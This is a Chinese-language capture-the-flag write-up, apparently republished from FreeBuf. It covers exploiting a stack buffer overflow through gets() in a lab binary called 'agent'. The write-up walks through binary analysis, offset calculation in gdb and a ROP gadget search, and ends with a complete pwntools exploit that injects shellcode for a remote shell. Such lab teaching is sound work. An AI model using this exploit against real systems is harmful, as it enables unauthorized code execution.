本文由 简悦 SimpRead 转码, 原文地址 www.freebuf.com
由于此靶机已被大佬们发过很多复现过程,这里主要介绍一下针对缓冲区溢出漏洞的思路。
由于此靶机已被大佬们发过很多复现过程,这里主要介绍一下针对缓冲区溢出漏洞的思路。
一、文件分析
1.1 查看文件保护
首先使用 file 命令查看文件信息
file agent checksec agent
可以看到文件基本信息:32 位、小端序、动态链接程序,且存在可读可写可执行段
1.2 伪代码分析
将 agent 文件拖入 32 位的 IDA 中进行分析
按 shift+f12 没找到 system('/bin/sh') 相关内容
按 F5 查看伪代码
int __cdecl main(int argc, const char **argv, const char **envp) { int result; // eax char *s2; // [esp+8h] [ebp-20h] BYREF char s[10]; // [esp+Eh] [ebp-1Ah] BYREF int v6; // [esp+18h] [ebp-10h] char v7; // [esp+1Fh] [ebp-9h] setbuf(stdout, 0); asprintf(&s2, "%i", 48093572); //asprintf()可以说是一个增强版的sprintf(),在不确定字符串的长度时,能够根据格式化的字符串长度,申请足够的内存空间。 puts(" ___ __ __ ___ "); puts(" |_ _| \\/ | __| Agent"); puts(" | || |\\/| | _| Reporting"); puts(" |___|_| |_|_| System\n"); printf("\nAgent ID : "); if ( !fgets(s, 9, stdin) ) return -1; if ( !strncmp(s, s2, 8u) ) //strncmp函数为字符串比较函数,功能是把 str1 和 str2 进行比较,最多比较前 n 个字节,若str1与str2的前n个字符相同,则返回0;若s1大于s2,则返回大于0的值;若s1 小于s2,则返回小于0的值。 { do v7 = getchar(); while ( v7 != 10 && v7 != -1 ); puts("Login Validated "); v6 = menu(); switch ( v6 ) { case 1: extractionpoints(); break; case 2: requestextraction(); break; case 3: report(); //溢出函数 break; default: puts("Exiting..."); break; } result = 0; } else { puts("Invalid Agent ID "); result = -2; } return result; }
下面是溢出函数 report
{ char s[152]; // [esp+4h] [ebp-A4h] BYREF char *v2; // [esp+9Ch] [ebp-Ch] printf("\nEnter report update: "); gets(s); //溢出点 printf("Report: %s\n", s); puts("Submitted for review."); v2 = s; return s; }
看完伪代码后总结下,溢出的位置不难找,只要控制 report 中的 gets 函数读入填充的数据,即可产生栈溢出,但是没有 shellcode,需要我们自己写入 RWX 段,然后将函数的返回地址改为 shellcode 地址
1.3 gdb 分析
使用 gdb 分析,计算栈偏移,首先在 fgets 函数那里打个断点
gdb ./agent b *0x8048697 r n
然后输入 48093572(这里主要是越过 strncmp 函数,需要让 S2 与 S 相同)
之后一直按 n 步过到 menu,输入 3 进入 report 函数
执行到 call report 这里步过之后,按 s 步入,之后继续步过到 gets 函数,输入'AAAAAAAA'
输入 stack48 在栈中找到 EBP 和字符串'AAAAAAAA'的位置
stack 48
输入的'AAAAAAAA'在 eax 中,位置如下:
指向栈低的指针 EBP 位置如下:
从而计算得出栈偏移为
栈偏移 = EBP地址 - 当前输入地址 + EBP字长 = 0xd188 - 0xd0e4 + 4 = 168
找到栈偏移之后,我们需要将 return 地址修改为 shellcode 地址,这里可以使用 ROPgadget 寻找包含 call eax 的代码段,这里找到 call eax 地址为 0x8048563
ROPgadget --binary agent | grep "call eax"
二、EXP 编写
这里放上自己用 pwntools,通过 asm 构造 shellcode 内容,需要安装 pwntools 库,写完之后直接运行就 getshell 了
from pwn import * io = remote("192.168.56.6", 7788) //需修改为靶机IP、端口 shellcode = asm(shellcraft.sh()) //生成payload shell_addr = 0x8048563 //call eax的地址 io.recvuntil(b"Agent ID : ") io.send(b"48093572\n") //绕过strncmp函数 io.recvuntil(b"Enter selection: ") io.send(b"3\n") //选择进入report函数 io.recv() io.sendline(shellcode + b"A" * (168 - len(shellcode)) + p32(shell_addr)) io.interactive()
python3 shell.exp